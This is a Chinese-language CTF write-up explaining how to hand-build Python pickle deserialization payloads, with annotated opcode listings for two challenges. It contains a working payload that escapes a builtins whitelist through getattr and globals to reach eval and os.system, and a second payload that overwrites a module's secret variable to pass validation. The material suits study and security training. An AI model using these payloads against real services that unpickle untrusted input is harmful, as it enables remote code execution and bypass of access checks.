python pickle從零構(gòu)造反序列化攻擊利用
有一篇很好的文章對此講的很詳細(xì)
https://xz.aliyun.com/t/7436#toc-0
此外我對文章中的手寫反序列化一塊進(jìn)行一些補(bǔ)充
幾道例題
Code-Breaking:picklecode
原payload:
b'''cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''(建議復(fù)制到python去看)
首先要聲明的一點(diǎn)是反序列化的利用棧是從底端往上的,清楚匯編的同學(xué)應(yīng)該了解這一點(diǎn)
我的注解
b'''白名單REC
cbuiltins #import
getattr ? #獲取builtins白名單方法getattr
p0 ? #將getattr壓入mem0,字典保存
(cbuiltins? ? mark元素c模塊builtins方法dict壓棧
dict
S'get' ? 聲明元素字符串'get'
tRp1 ??
# 創(chuàng)建元組(builtins.dict,'get')調(diào)用getattr(dict,get)并將結(jié)果壓入mem0,保存為1號元素
cbuiltins?
globals ? #獲取builtins屬性globals
)Rp2
# 創(chuàng)建一個空元組,調(diào)用globals(), 結(jié)果壓入mem,保存為2號元素
00g1 #去除棧頂兩個元素,將mem1號元素壓棧,為dict.get
(g2? #mark g2 取出mem中2號元素壓棧并mark,為globals()結(jié)果?
S'builtins' # 定義字符串對象'builtins'
tRp3
# dict.get(globals(),'builtins')并將結(jié)果壓入mem3空間。(windows這里實(shí)測需要__builtins__
0g0 #清棧,載入g0 getattr
(g3? # 載入g3并mark
S'eval'
tR
# getattr(builtins,'eval')結(jié)果壓棧? ?
(S'__import__("os").system("whoami")'
tR.
# 壓入字符串,命令執(zhí)行
'''
高校戰(zhàn)疫網(wǎng)絡(luò)安全分享賽:webtmp
b'''c__main__
secret
(S'name'
S"1"
S"category"
S"2"
db0(S"1"
S"2"
i__main__
Animal
.'''
我的注解
b'''變量覆蓋題
c__main__? #導(dǎo)入主模塊
secret # 主模塊的secret
(S'name'
S"1"
S"category"
S"2"
db0
#d 定義了個字典
#b 覆蓋掉secret中的同名字段
#0 清棧
(S"1"
S"2"
i__main__
Animal
#調(diào)用驗(yàn)證方法,這就是題目中的驗(yàn)證類了,盲猜類使用了__main__.secret做驗(yàn)證
.'''